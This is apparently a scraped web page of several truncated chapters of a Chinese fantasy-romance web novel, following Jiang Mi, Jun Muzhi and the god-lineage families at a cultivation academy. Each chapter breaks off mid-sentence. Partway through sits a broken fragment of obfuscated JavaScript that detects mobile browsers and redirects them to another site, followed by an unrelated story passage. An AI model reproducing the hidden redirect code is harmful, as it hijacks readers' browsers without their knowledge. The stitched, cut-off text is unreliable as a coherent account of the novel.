周三沉默两秒问她:“我听说你又扣了小术分,要不要……” “我没事。”江弥放下茶杯,语气平静道:“小术分的事解决了,那天的事我没放在心上,我知道你怎么想,也知道我怎么想,就够了。” 周三定定看她会儿,忽而笑了:“你这样就好。” 江弥没听懂什么意思,但周三不再说了,而是问她大混沌的事,江弥挑挑拣拣说了些,崔大和孙柏柔也过来听起来,末了江弥道:“这事闹出的风波太大,最好不要参与其中,很容易惹祸上身。” 周三和孙柏柔点头赞同,崔大正在看上来的菜,江弥重点望向崔大:“听到没?” 崔大:“听到了听到了。” 江弥看他半点没放心上只顾吃饭的模样,按了按额头。 几人很久没聚,从食堂出来后在小道上缓慢走着。 夜风微凉,今晚没星也没月,只有沿途隔了很远的石灯亮着,耳旁传来孙柏柔或周三有一搭没一搭的说话声,气氛惬意舒缓。 前方草丛忽然传来窸窣声,开始几人都没在意,走到跟前闻见水声,崔大脸色陡然一变,一个箭步冲到江弥和孙柏柔面前,挤眉弄眼地让她们调头。 孙柏柔现在看他很不顺眼,抬手将他扒一边去,但崔大是剑修,体格强壮,他用上体术就是周三也弄不动,孙柏柔气得抬脚踢他:“崔大你犯病了?” 崔大捂住她嘴的手慢了一步,还是惊动了草丛后方正在亲嘴的小情侣,见到小情侣匆匆忙忙跑远,剩下的几人才惊觉发生什么。 孙柏柔捂着脸低喊:“啊啊啊救命!” 崔大挠着后脑勺背过身去,周三轻咳两声,低头摸着脖子也没说话。 见过大场面的江弥:“嗯,还好。” 三人被这句点评惊得齐齐望来。 孙柏柔红着脸扑过来:“好什么好,一点都不好!” 崔大摸着脑门欣慰笑道:“五妹长大了。” “重点是这个吗?”周三简直无语,看孙柏柔抱着江弥一阵摇,抬手在江弥头上乱揉:“你刚才在想什么不该想的东西?忘掉,全都忘掉!” 江弥面无表情任他们折腾,然后顶着满头乱翘的卷毛听两人给她科普恋爱观。 “女孩子年纪小谈恋爱容易被骗。”孙柏柔一本正经给她说恋爱的弊端,以及被骗的女孩在医署的可怜下场。 周三则表情认真道:“孙柏柔说得对,男人没一个好东西,不要信男人的那张嘴。” 崔大笑哈哈说:“要是有喜欢的人了,把人带来我们给你掌掌眼。” 崔大刚说完立即得到孙柏柔周三的白眼和“滚”。 孙柏柔把江弥单独拉开小声说:“我们不要跟思想不干净的男人说话。” 周三自认为这话说的不是他,于是去看崔大。 崔大跟只被踩了尾巴的猫,一下子炸了:“诶诶孙小柔,有些话是坚决不能说出口的啊!” 周三看孙柏柔:“什么什么?” 江弥难得见崔大这种即将狗急跳墙的模样,也看她。 崔大抬手欲阻止,但孙柏柔反应极快地捂住江弥耳朵同周三道:“他房里有那种那种书。” “孙柏柔!!!”崔大两手抓着头发崩溃大喊。 孙柏柔这辈子丢的脸全是崔大惹的祸,如今也算一雪前耻,抱臂扬首道:“我还知道他喜欢怎样的女孩子,那种腰很细……” 崔大三两步跑过捂住孙柏柔的嘴,孙柏柔拉开崔大的手刚说两个字,就被崔大两只手盖住整张脸,气得孙柏柔抬脚踢他时直接用上了术,将崔大踢得嗷嗷乱叫。 江弥侧目瞥向气定神闲的周三:“你也看过。” 周三一个腿滑差点跌倒:“江小弥你别乱讲。” “哦,”江弥扭头就和孙柏柔说,“周三也看过。” 孙柏柔看看抱着脚单膝乱跳的崔大,又看看一脸“你们别随便污蔑人”故作镇定的周三,拉着江弥远离他们,还不忘朝两人丢下一句:“肮脏,龌龊,坏男人!” 直到走远了江弥才笑出声,孙柏柔捏她脸蛋:“你还笑!” 江弥眨眼没说话,心里松了口气,这样的孙柏柔应该不会喜欢上滕宝。 她们沿着寂静的小道前往夜舟,快到孙柏柔舍院时妃绯刚巧从里面走出来,孙柏柔正要打招呼,忽见里面走出来个男人。 男人身墨色圆领长衣,腰间佩玉,气质儒雅。他朝妃绯笑着说不用送了,明天再来接她后,朝江弥和孙柏柔点头打完招呼离开。 妃绯将人送走后开心走来:“你们吃过晚饭了吗,我这里有好多点心,要不要一起吃?” 孙柏柔正准备拒绝,江弥先一步开口:“好啊,是刚才离开的人送的?” 她问得随意,妃绯也没多想,点点 66. 066 《他们要我成为异世大佬》全本免费阅读 不管山下发生什么,每次上到天雪峰,江弥都有种这里亘古不变的感觉。 她熟练地将风雪拦在方寸外,脚印在她身后蔓延成细线,来到天雪峰顶,她推开木屋,将手里的书放在桌上,顺手将缩小的“天火”放进炉子,不过片刻,整个屋子变得温暖起来。 江弥烧好热水刚准备泡花蜜水就听见敲门声,抬手用星线将门拉开,随风雪一同飘进来的还有君慕之的墨发,她朝门口的人道:“进来。” 君慕之关好门走到桌旁,这会儿江弥捧着孙柏柔送的花蜜水坐下,君慕之走来坐在她身侧,江弥说:“我看书会看得比较晚。” 这话的意思是今天可以超过两刻钟。 君慕之:“嗯。” 简单交流后两人都安静下来。 江弥这几天已经习惯这种相处模式,旁若无人地翻着书,偶尔喝几口温暖的花蜜水。 君慕之则保持闭目养神的状态。 从大混沌出来后两人就是如此,开始是江弥主动去君慕之房间待足两刻钟离开,但他屋子实在太冷,她又不能对别人的屋子做些什么。有次磨蹭到后半夜忘了这事,君慕之就主动敲门来她这里待两刻钟走,再后来就变成,她没主动去君慕之屋子,君慕之就主动过来。 两人都没顾及什么男女之防,江弥很忙,她很多时候都要下山上课去书海楼,而天雪峰在小术院最北面,她每次回来都是月亮挂头,也就没法计较这些。 他们俩态度平淡习以为常,隔壁屋子的谷不休惊得大开的嘴巴被风雪冻住,他再次抬手将嘴巴合上,关了窗使劲儿搓脸,搓出一层冰碴来。 “这两人怎么回事?” 君慕之……恋爱了? 谷不休一巴掌将自己拍醒,把恋爱和君慕之放在一起,他疯了不成? 这种情况完全超出他能想象的范围,君慕之连人都不能接近,还能喜欢人?要不还是找我爹吧? 谷不休陷入混乱,而旁边的屋子里轻悄悄的。 江弥起身倒水,手不小心按在一缕蔓延过来的墨发上,她把头发往旁边挪了挪,这点动静让君慕之睁了眼。 在她面前露过面后,君慕之不再用兜帽遮掩,可他头发太长,两人离得近,江弥不小心就会压到他头发。有次她起身拿东西,在他头发上踩了好几脚,回过头就见君慕之低头盯着她的脚。有一瞬,江弥觉得他在考虑要不要将她的脚给砍了,虽然他看起来不是那么残暴的人。 为了阻止他生出类似的可怕想法,江弥先一步开口甩锅:“你的头发过界了。” 面对江弥的责问,君慕之的反应是将头发拢一拢,继续端坐。 脾气比江弥想象的好。 这让她想起记忆片段里那个怎么戳都不哭的小孩。 她捧着水杯没喝,想起两次记忆里看到的君慕之,将目光落在他的面庞,依稀能看出幼时和少年的影子。 记忆中的“我”看上去同君慕之的娘很熟悉,好友?亦或是姐妹? “何事?”君慕之察觉视线侧眸望来,矜贵俊美的脸上浮现淡淡疑惑。 江弥同他目光相对,思索两秒,放下水杯转身面对他而坐,认真问他:“难道,我是你失散多年的表妹?” 君慕之有两三秒的茫然,随后道:“我没有表妹。” 下秒又补充:“也没有表姐。” 江弥:“那……” 君慕之清俊眉眼扬了下,在她说出更多荒唐话前表明:“你非我家族之人。” 江弥不怎么失望地点头,记忆片段里的很多细节没法直接询问,君慕之又太过敏锐,让她无从下手。 憋了半天,江弥还是没有继续问下去,随口编了个问题:“你的头发为什么留这么长?” 上任住户留下的是那种很矮的桌案和凳子,君慕之坐下时头发会落在地面。 由于江弥没有在自己屋里帮别人弄个专座的想法,君慕之也没有要整理头发的自觉,每次看到他头发及地,江弥都觉得他在帮自己扫屋子,心里莫名有点过意不去。 江弥指了指地面,疑惑真心实意了些:“不脏吗?” 君慕之垂眸看了眼地面,然后捞起头发抬手一划,唰的截断大半长发,地面瞬间蓄满一汪黑色潭水。 他抬眸去看江弥,语气透出一丝无辜:“这样?” 完全没料到对方是这种反应的江弥:“……” 看着一半头发落地,又眨眼望向君慕之,对方丝毫不觉得有什么,江弥凝滞两秒,抬手摸了下自己头发,她这卷毛也没法赔给对方啊。 忽然听见一声轻微笑声,不是笑出声的那种,而是忽然被逗笑时发出的气音。 江弥抬眸就见到了神奇的一幕。 君慕之手中截断的发丝重新长了出来,仍旧长长地垂着,地上断掉的发丝却化作一团黑气消失不见。 在江弥呆滞的目光中,君慕之说:“这样干净了。” 江弥将自己的视线从头发移开,拿起桌上的水杯喝了几口平复下心情,而后谨慎又小心地问:“你是妖吗?” 君慕之忽而淡笑出声:“我不是妖。” 思索两秒,江弥又问:“那鬼?” 君慕之:“也不是。” 江弥产生一种奇怪的感觉,看着这样非人状态的君慕之,她非但不觉得可怕,反而奇异地松了口气。 她拥有很多秘密,暴露任何一个都会令她万劫不复。 君慕之的敏锐让她在两人相处时下意识紧绷,她害怕对方察觉她的秘密。 但现在她知道君慕之也拥有秘密,冬天里的绿草,突然的发病,莫名的神契,以及他的头发,这让她有种握住对方把柄的感觉。 还有什么比捏住对方把柄更令人心安的事? · “……自幼父母离去,由乡间爷爷带大,前些时爷爷故去,仅剩她一人。安儿幼时身体不好被送去乡野养病,说是一起玩了几年。我瞧着她性子怯懦,但喜在面相好,听话,安儿喜欢我也认了,但,几日不见她又攀上我大儿!” “平儿的婚事我们年前就选好,只等两家谈妥将人迎娶进门,哪知出了这事。若不是平儿早早找他爹说了,我们现在还被蒙在鼓里!” 妆容华贵的妇人气得胸脯起伏,捏着帕子按在胸口,朝上座的面带笑容的俊丽青年道:“姬少主啊,我不知这姑娘是何来头,还是……” 妇人神色不安地朝自己丈夫看了眼,然后问:“她是姬家出来的?” 神脉四大家里,姬氏是最人口丁旺的,甚至每年都有几个自称是姬家流落在外的孩子跑来认亲,说是流落在外,但明眼人都知晓是姬家的风流债。 首座的姬月生认真品着茶,闻言随意道:“那倒不是,我姬氏人是多了点,但也非随便来个丫头片子就是姬氏的。” 那沉默的中年男子陡然一拍 67. 067 《他们要我成为异世大佬》全本免费阅读 青年没有砸在地上摔死,他在即将落地时忽然飞起,犹如被半空中的一根绳子悬住荡了起来。 远处是雪白的天雪峰和苍翠的森林,碧天白云下,身着亮丽锦衣的青年犹如一只飞翔的凤凰自由飘荡着。 江弥也会乘风术,也见过不少教习使用乘风术,虽然她努努力也能到达这个高度,但悬立在半空稳稳不动,亦或如呼吸般自由飞上飞下,那就已经不是乘风术的范畴了。 现在,这两人如履平地般在半空中停住或游走,让她猛然意识自己同他们的差距之大。 也在这时,那青年从刚才极具冲击的画面醒过来,旋身来到君慕之身旁,盯着他怀里的江弥瞧。 君慕之把江弥往后揽了揽,相对姬月生的热情惊喜,君慕之明显要冷淡得多:“何事?” 姬月生歪头去看江弥,明澈的浅色眼瞳里荡漾着兴趣,他满脸兴然问:“君慕之,这是你媳妇儿?” 在空中吹冷风的江弥木着脸,将吹到她脸颊脖子里的长发猛地拨开。 君慕之低眉看了眼,没见他怎么动作,吹来的风陡然平息,他朝姬月生道:“不是。” 瞬息间姬月生就凑到跟前,他伸手往君慕之身旁抓了抓,捞出一根连接君慕之和江弥的金红色细线,细线坚硬锐利,勾住细线的手瞬间就被割出一条血痕。 姬月生松了细线,拇指在伤口一抹,却仍在流血,他不太高兴地撇了下嘴,朝君慕之道:“神契不就是拴住媳妇儿用的?” 君慕之:“不是。” 姬月生:“但是我姬家都用来栓媳妇儿,我奶奶我娘还有我婶儿,都是我爷爷我爹我叔用神契绑回来的。” 江弥:“……”无法想象。 君慕之不想同他多聊,直接问:“你来何事?” “我无聊找乐子呢,没想到能碰到你。”姬月生随着君慕之来到天雪峰,走在雪地里也不见脚印,他抬手拍了拍落在身上的雪花,语气质问:“君慕之,你是不是忘了我们的约定,我等了你六年,好不容易见着你你就想赶我走?” 他说这话充满幽怨,还朝江弥眨了眨眼。 江弥:“?” 君慕之声音冷淡问:“什么约定?” 姬月生这下是真的幽怨了:“六年前我们约了比试,看谁在混沌中先拿走神品杀死妖魔,我接连几个混沌都胜利了,结果你都没去。” 君慕之思索两秒,回忆过来:“我不曾应你。” 姬月生大叫:“君慕之,你这样太不讨人喜欢了。” 说着他又将目光移到在君慕之身侧沉默的女孩,笑着问她:“你叫什么?” 君慕之没有将对方介绍给她的意思,江弥也同样没有这个想法,奈何这人偏生凑过来,江弥沉默没答,他就凑到跟前问:“你怎么跟君慕之一样闷?” 江弥只得问:“你叫什么?” 姬月生眨着浅色眸子笑说:“你可以叫我姬哥哥。” 江弥:“……” 还是君慕之开了口:“姬月生,你不用理他。” 江弥点头,随后不管姬月生问什么说什么,江弥就真的不再理他,然后姬月生去烦君慕之,君慕之也不理他。 无聊的姬月生准备离开,谷不休刚好从木屋走出,见到姬月生的刹那神色戒备:“姬月生!你来做什么?” 姬月生立马找到好玩的,瞬影到谷不休跟前问:“君慕之是来找媳妇儿的吗?” 一直在纠结要不要将君慕之异常状态告诉他爹的谷不休大惊:“你怎么知道?!” 姬月生:“果然是!” 谷不休立马反应过来,怒道:“你对君慕之用神术!” 不远处的江弥能感受到谷不休浑身气势忽然暴涨,天地间能量震荡,不是气在变化,而是神力在变化。 谷不休也能用神力?! 江弥惊愕,随即便见他身后凝聚出一个淡金色虚影,身形庞大,出现的瞬间风雪都停滞下来。 “君家的僵神啊,正好让我会会。”姬月生猛地一跃升至半空,感应到心中燃起的战意,他腕上的血线变得明亮,将流血的手指按在上面,吸食血液的血线变成黑色。 另一种庞大的力量从姬月生周身散发出来。 这似乎,也是神力! 江弥来不及多想,就见身旁的君慕之身形消失,下秒出现在两人之间,双手托举又缓慢分开,蓄势待发即将干起来的姬月生和谷不休分别被结界罩住。 谷不休偃旗息鼓,身后的巨大虚影消散,落回天雪峰时全身皮肤蔓延出道道裂痕,犹如出现裂纹的陶瓷,但片刻后就被淡金色光芒修复,完好如初。 相较谷不休的配合,姬月生直接冲破君慕之的结界,悬立在他对面:“君慕之我们打一架,我爹总在我耳边提你,听得我耳朵起茧,你让我打赢一次如何?” 君慕之不理他,收敛气势落了下来。 姬月生就要直接逼君慕之出招,却见数十个修士朝这边赶来。 最前方的严藩瞥见这招摇的一身就知道来这是谁,当即大喝:“姬月生你敢在小术院动手,我让你娘打断你的腿!” 姬月生一脸要遭的表情,招招手转身就跑,只留下一句:“舅舅我还有事,先走一步!” 严藩等人赶来时他都没影了。 “这小子!”严藩怒骂一声,几个呼吸黑硬的胡子就积了雪,他扭头瞥见江弥,“怎么哪个惹事的地方都有你?” 江弥面无表情:“这里是天雪峰,严教习亲自分配给我的舍院。” 严藩抹了把黑胡子:“还有这回事?” 江弥:“有。” 严藩显然没将这种事放在眼里,知道那番大动静是姬月生搞的鬼就没那么紧张了,他让其他教习散去,自己去找人。 不过片刻天雪峰只剩三人,谷不休一副要说些什么但江弥在场又没法说下去的表情,江弥自觉转身回屋,谁知她刚转身,君慕之也跟着走。 谷不休:“……” 这卷毛丫头使的什么手段令我家少主如此痴迷! 江弥回头看了眼目瞪口呆的谷不休,又抬眼去看君慕之,君慕之神色平静,一副没打算管谷不休的样子,她也就装作没看到。 快进屋时君慕之忽然说:“姬月生的话不必在意。” 江弥点头:“我当然知道他乱讲的。” 君慕之:“他没乱讲。” 江弥:“?” “姬氏确实有将神契作为婚契的传统,”君慕之停顿片刻才说,“姬氏子嗣生性风流,婚嫁之时会以神契做约束。” 懂了,姬氏盛产花心大萝卜,嫁过来的姑娘,娶人回家的伙子都不放心,于是为了正常结婚联姻,姬氏将神契当作婚契来用,以此约束双方行为。 旋即诧异看他,跟来就是为了解释这个? 但君慕之没说话,江弥就点头表示我明白了,准备关门时君慕之又说:“你的星图。” 哦对!江弥打开门将他拉进来。 默默看了全程的谷不休:“……”告诉我爹!一定要告诉我爹! 屋内,江弥熟练燃起暖炉,而后脚下星图徐徐展开,君慕之蹲下来观察,江弥也盘腿坐下来思索。 星图中凝聚的星辰有实星虚星,星图大小,实星虚星数量,以及能使用的星辰之力,都由星修修为决定。 其中实星还分主要实星和次要实星,主要实星占据大部分星辰之力,负责主要的攻击和防御,次要实星则是主要实星的补充。 虚星也有主要虚星和次要虚星,用途也非简单的掩人耳目,主要虚星可附加眩晕、迷幻等辅助功能,次要虚星是做点缀遮掩之用。 不管是实星还是虚星,一般是无法从外形上看出。 不同星修的侧重不同,心诀也有会偏向,有的重攻,就会只凝聚主要实星和主要虚星,将大部分星辰之力重点用于主要实星,有的攻防皆备,不同星辰各有效用,相对的,攻击和防御就会有所降低。 可以说,星图其实就是一盘早已准备好的棋,星修在自己的棋盘盖上浓雾,让对手无法探清虚实。 但对高阶修士而言,江弥的这种简单星图盖上再厚的浓雾也无济于事,所以她并不介意让君慕之看透。 江弥面临的的问题是,她无法凝聚虚星。 初步看来这并不是个问题,如果所有星辰都是实星,就不存在需要遮掩之说。 但江弥只是个四阶星修,星辰之力只够她凝聚十来颗实星,星图半径也不过三米,跟人打起来,只要对方看看星辰变化 68. 068 《他们要我成为异世大佬》全本免费阅读 秽气啊。 江弥在书海楼寻了半天,并没有讲秽气有关的书。 果然,这也是神层面的吗? 君慕之,谷不休,还有姬月生,他们都能使用神力,和阿玲一样,但差距太大了,谷不休的僵神仅仅只是出现一瞬,她就有种无力抵抗的感觉。 这就是神? 君,姬,不在修真十三世家中,她记起孙柏柔提过的神脉家族,神的遗子吗? “二公子,今天也不去夜舟?” 江弥拿着本书坐在书架间,忽听书架后响起男声,接着是邵安不耐烦的声音:“这是第几次问我了,我怎么就要去夜舟了?” 青年道:“去大混沌前你经常往夜舟跑,不是送吃的就是送玩的,不去夜舟的时候基本都是……” 邵安皱眉:“都是什么?” “都是妃绯姑娘来找你的时候。”青年摸了下鼻子。 邵安脚步停顿,神色古怪起来。 他也想起自己是怎么天天往小姑娘房间跑的,偏生还跑得挺开心,但现在回想起来,只觉得做这些事的自己跟个傻子似的。 青年又道:“妃绯姑娘落入大混沌,二公子也二话不说就冲进去,刚出来那会儿还说要带妃绯姑娘回家。” 但隔了几日邵安就再也没提过,那妃绯也不再来找邵安,前面好生生的,他们都要笑着叫邵二夫人了,怎么两人突然搞得跟断情绝爱似的,看得他们摸不着头脑。 不提还好,一提大混沌邵安脸就阴沉得厉害,他之前为了混沌名额挣得连邵家面子都不要了,结果进了大混沌只是为了救个姑娘。 青年正巧说道:“妃绯姑娘也——” “别在我面前提她!”邵安冷嗤了声,傲慢语气中夹杂着厌恶:“我邵安会喜欢那等怯弱无用之人?笑话!” 这点插曲在中午时演变成剧烈的冲突。 事情起由是妃绯在大混沌中受的伤需要慢慢调养,她这几天心情不好,对自己伤口的事也不怎么上心。 邵平年岁比她大几岁,懂得照顾人,也有足够耐心,担忧她伤口复发,就抽空来小术院带她去医署。 碰巧的是,邵安从大混沌出来时在医署定制了批药,专门用来给妃绯疗伤用的,后来忘了这事。 制药的医修担心药效过了,催了几次让他去拿,偏生小术院联赛两个月后开始,邵安身边的小弟不是加强修炼去了就是有别的事情忙,只能自己跑一趟。 而帮妃绯敷药的正是孙柏柔。 江弥拎着食盒走来时看到的就是,邵平试图将病床的妃绯拦在身后、却被邵安拉住妃绯手不让她躲的修罗场。 孙柏柔想要上前劝架,滕宝将她拉到一旁远离。 而滕宝的病床旁,是带着慰问品的唐蜜。她将东西随手扔在床边桌上,抱臂冷眼看滕宝和他身后的孙柏柔。 江弥:“……” 深深地、深深地吸口气。 江弥过去将孙柏柔拉离是非之地,走到无人病床前。 滕宝皱了下眉,唐蜜则朝她抛了个媚眼。 孙柏柔莫名有些心虚,前段时间程学姐让她负责病房患者,也愿意手把手教她处理不同病况,她很珍惜这个机会,也很认真。 虽然觉得自己没做错什么,孙柏柔还是摸着脸小心解释说:“滕学长受伤来此包扎。” 江弥嗯了声,将食盒放在桌上,指指竭力压低声音争吵的邵家兄弟:“跟你有关系?” 孙柏柔说:“妃绯是我的病人。” 妃绯垂着眼半躺在床上,刚才孙柏柔小心为她换药包伤口时她疼得眼泪汪汪,现在手臂被邵安拽得用力却没吭出一声。 “……她前阵子还跟在我屁股后面跑,我不要了转身就扒上你。大哥,我是为你好,这种懦弱无能还软弱爱哭的女人配不上你。” 邵安心里涌出一股无法排解的怒意,他说不出这种感受来源,但撞见那双泪眼时,心里的空荡荡让他看谁都不顺眼,就是面对待他极好的大哥也忍不住生出怒火。 邵安不管不顾,邵平却没法挡着外人的面和他争执,平和耐心道:“你先放开妃绯让她安心养病。” 邵安将那只手抓得更紧了:“大哥你老实告诉我,你是不是喜欢妃绯?” 邵平无奈叹气:“这是什么跟什么,妃绯年纪小不会照顾自己,我带她来医署看病罢了。” “大哥你离开,我来看着她。”邵安冷笑道,“她就是居心不良想接近我们邵家,大哥你太容易心软,我不能让你中她的计。” “妃绯不是你说的这样。”邵平见妃绯被捏出青紫,伸手按在邵安腕骨,迫使他松手:“安安,你做过了。” 邵安冷眼看着妃绯将手缩回被褥,低眉不敢看他的样子,冷哼道:“大哥,我会让你看清她的真面目。” 说罢便在一众目光中离开。 邵平叹了声,朝孙柏柔望来:“又要麻烦你了。” 孙柏柔走过去帮妃绯清理瘀滞,邵平站在床头安慰妃绯,低沉温和的声音十分动听。 邵平虽是小术院学员,更多的时间是待在邵家接手家中事务,待了会儿就离开。 江弥没有打扰孙柏柔工作,看她帮妃绯处理好伤口后又去帮滕宝检查,随后从离开病房和江弥用膳。 两人沉默吃完,孙柏柔看江弥收拾碗筷,小心觑她脸色:“你是不是生气了?” 江弥说:“我没生气。” 孙柏柔拉着她衣袖说:“我也没想到会这么巧,照顾滕学长的医修说要准备联赛没空,正好程学姐让我接触病患,所以落在我手上了。” 江弥憋了憋才将胸口的那股烦躁压下,将食盒放在一旁,低眉看着她慎重道:“不要喜欢滕宝。” 孙柏柔看她满脸严肃,扑哧笑出声:“喜欢一个人哪那么容易啊,我现在看周三都比滕学长顺眼,你不要担心这种没用的事情。” 江弥仍旧不放心,皱眉道:“周三也还行,你喜欢他好了。” 孙柏柔将她拉下来,笑着说:“你喜欢崔大我就去喜欢周三。” 江弥认真思索了下这种可能性,叹气:“难度有点大。” 孙柏柔被她表情逗乐:“哈哈哈,完全下不去手。” 笑闹一阵后孙柏柔还是要去工作,江弥也不可能让她放弃医署的事。 拎着空食盒离开时,江弥瞥见邵安往医署去的背影,皱了下眉,她倒是不太在意妃绯的情况,就是觉得会给孙柏柔带来麻烦。 “人会反复喜欢上同个人,有意思。” 江弥侧目望去,说话的是姬月生。 他看向邵安离开的方向,察觉江弥目光,朝她笑着说:“这次我知道你的名字。” 今天的他身穿大红锦缎,衣襟勾勒金色牡丹花,腰间垂下璎珞流苏,看上去华丽又惹眼。 但他说的话令江弥心头一沉,丝毫没心思看 69. 069 《他们要我成为异世大佬》全本免费阅读 江弥回来时好半晌没认出这是天雪峰。 常年笼罩在山峰的厚雪一下子消失,露出冰冻的土壤和干枯树枝,风雪仍在肆虐,却不似最初那么凛冽。 只有六间小屋完好无损披着厚厚的雪衣。 她敲响了君慕之的门。开门的君慕之面色如常,江弥上下打量两眼,好奇问:“打完了?” 君慕之让她进来:“被严教习叫走了。” 其实是两人动静闹得太大,打到一半惊动严藩,严藩跑上来将姬月生一番痛骂地拎走的。 江弥将手背摊在他面前问:“这是什么?他对我做的是什么?” “姬氏主关系。”君慕之一开口就让江弥陷入茫然,他解释说:“一个人念想的尽头连接了另一个人,就构成了关系,人与人的关系,有亲疏远近,善恶喜憎,这是姬氏力量来源。” 江弥沉默了很久才理解这话的含义,也在理解的这刻,打破了她对这个世界的固有认知。 她以为的神只是修炼至最高后的力量体现,是十二阶仙梯之后的第十三阶十四阶,而君慕之的话让她认识到,神是一种凌驾于现有修真体系的无上存在。 似是察觉江弥的异样,君慕之停下来,江弥按住狂跳的心脏道:“然后呢?” “姬氏能将关系具象化,能看见就能对其修改增删。姬月生是姬氏最具天赋的,能凭空诞生关系,他见过你我的神契,必会捣乱。”君慕之目光点了下她的手背,“这是防御,强行扭转你的意志就会被反噬。” 就是说,姬氏不仅可以从人与人的关系中获得力量,还能改变人的关系,那岂不是直接控制人的感情和欲望? 真可怕! 江弥刚这样想,君慕之说:“并非所有姬氏都能做到这样,姬氏子嗣拥有的神力代代减弱,大多数能做到关系具象化已经是极限,如姬月生这样的,少之又少。” 一个也很可怕! 想到和君慕之打交道的都是这类人,江弥觉得自己亏大了,她十分真诚询问:“神契能毁吗?” 君慕之露出浅淡的笑:“不能。” 江弥长长吁出口气。 这事怨不得别人,要怨就得怨她自己,当初看到神契条件那刻还觉得占了便宜,暗暗欣喜免费得了小术分和百科全书。 早在对方对她提出的苛刻条件二话不说就答应时她就该意识到,天上不会掉馅饼。 看了眼君慕之,心里补充:漂亮的人也不是傻瓜。 江弥抬了抬手问:“这个我能学吗?” 但江弥用了三天也没将其学会乾灵,君慕之看着她神情低迷,随口将四大神脉十三世家说给她玩。 连同在外游历的阿玲,十三世家只听过邵、温、严、苏、池五家的江弥:“……” 某种程度上来说,百科全书还是值的。 四大神脉家族分别是君、姬、阴和乐正,神脉家族掌握的力量非常人能比,他们人员稀少,但修真界无处不是他们的足迹。 例如,小术院和大术院便是四大神脉家族联合创建。 皇室还为了提高在修真界的影响力,在多次要求和交涉后才有资格参与小术院建设。 此外,他们同十三修真世家有着千丝万缕的关系。 例如君氏同谷、黎两家交往甚密,欧家更是乐正氏在外的代言人。 四大神脉家族大都隐世而居,但姬氏是个例外。 姬家主关系,力量从尘世中来,活跃在人前,同时也是子嗣最多的,姬家嫁出去的多,娶回来的也多,同邵家温家的姻亲关系错杂,要理清也不容易,就连当今皇上最宠爱的嫔妃也是姬家女。 姬月生的娘就是严家姑娘,严藩的姐姐。 期间姬月生找了君慕之几次,君慕之不理他他就去烦江弥,不是好奇她和君慕之的关系,就是吹她卷毛玩。 江弥发现,姬月生自带令人产生好感的能力,在知道这个张扬肆意的青年试图强行和她绑定关系后,她竟然还是生不出半点恶意。 这对她来说几乎是不可能的。 这天江弥下山提了食盒去医署。 滕宝已经离开,妃绯病情无大碍本可以离去,但不知为何留了下来。 她找孙柏柔时,看到邵安凶巴巴地将包了东西的小布包扔床上,妃绯打开发现是糖块,往嘴里塞了颗,甜滋滋的,顿时高兴得眉眼弯弯,邵安就对着她笑的样子冷嘲热讽,说她是个连糖都没吃过穷酸鬼。 蛋蛋飞出来提醒:“邵安的真爱之心已经摘取,无法再凝结真爱之心,妃绯,你该将心思放在邵平身上。” 妃绯低头数着糖块,在心里说:“我没有攻略邵安啊,是他自己跑来的,邵平好忙,我不想打扰他。” 蛋蛋站在妃绯肩头,江弥看它维持着微笑脸用可爱的萌音道:“我知道啦,这是妃绯的选择。” 江弥离开病房前看见妃绯往嘴里又塞了颗糖,浑身散发着开心喜悦的味道。 “我真不懂,”孙柏柔一边吃饭一边无语吐槽,“这个邵安,说他讨厌妃绯吧,他又天天来,还带些吃的喝的玩的,说他关心妃绯吧,他又不曾说过一句好话,还不如他哥哥邵平呢!” 江弥心道,那是你不知道有种人叫傲娇。 和孙柏柔吃完饭准备走,医署忽然闯进来几名教习,还有十多位执法学员紧随其后,严藩在最前方带队。 孙柏柔奇怪:“发生什么了?” 她跟着往里走了两步,发现他们冲进的地方是她负责的病房,当即要进去,被江弥一把拉住。 “怎么——” “能不能放开我,你们做什么呀?” 孙柏柔还没说完就听到妃绯小声挣扎,再看时几名教习已经从病房走出,紧着便是被架着往外走的妃绯。 挟制妃绯的执法学员手劲儿很大,妃绯抓不住布包,糖块撒了一地,她想低头去捡,被教习认定拒绝配合,凝聚术形将她困得无法动弹。 妃绯完全不知道发生什么,被教习和学长们的严肃吓出眼泪花,害怕得只知颤抖和抽噎。 “等等!”孙柏柔挣脱江弥站出来,“妃绯是我的病人,你们带走她,总得让我知道她犯了什么戒律?” 妃绯睁眼睛望过来,通红的眼睛满是茫然和无辜,哭得梨花带雨的,叫人忍不住心生怜爱。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12943045|129389||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 阿玲:“我们才刚认识。” 苏与商年纪比她大,说话行事间有种从容沉稳的气质,这会儿笑得有些洒脱:“小友啊,有的人呢一眼就能看出未来是朋友还是敌人,我一看你就知道,我们肯定是友人。” 苏与商问她:“你喝酒吗?” 阿玲摇头。 苏与商对她不赞同道:“没有酒人生多无趣,走,带你喝酒去。” 阿玲:“但是我还要去尚署一趟。” “尚署?急什么,喝完酒我带你去。”苏与商不给她犹豫的机会,推着她往外走,没有半点架子。 阿玲就这么被她带到了酒楼。 酒很快上来,苏与商一脸惬意地仰头喝酒,畅快地感叹:“还是得工作时偷喝两杯才痛快啊。” 这个苏家大小姐与她想象的不太一样。 · 两人走后不久,关押粉彩的门再次打开,进来的是个穿着粗布衣裳的少年,他看着只剩一把骨头的男子,叹了声:“粉彩,已经够了。” 躺在干涸血渍里的男人仿佛死去般,一动不动。 等了很久,粉彩才从黏腻黑发中探出头,朝着声音处望了望,但他两眼空洞,什么都看不见,许久未说话的嗓子极其艰难地问:“谁?” “青花,”少年说,“我这个身份的名字叫阿庙。” “青……花,青花……”粉彩有些激动,锁链碰撞声清脆,两只黑洞洞的眼睛仿佛要沁出血来,“青花……” 他的声音随着一次次出声顺畅起来。 “你看到了吗?”阿庙说:“我们找到她了。” 接连的锁链声传来,粉彩一次次想要爬起,又一次次跌倒,嵌入躯体的锁链让他的骨骼肌肉坏死,每一个动作伴随着剧烈的痛楚。 阿庙没有上前帮忙。 粉彩最后以一个诡异的姿势半仰着头,面向阿庙的脸如同枯萎的老树,却透露出一点期盼来:“青花,我是不是,能死了?” 阿庙说:“是该结束了。” 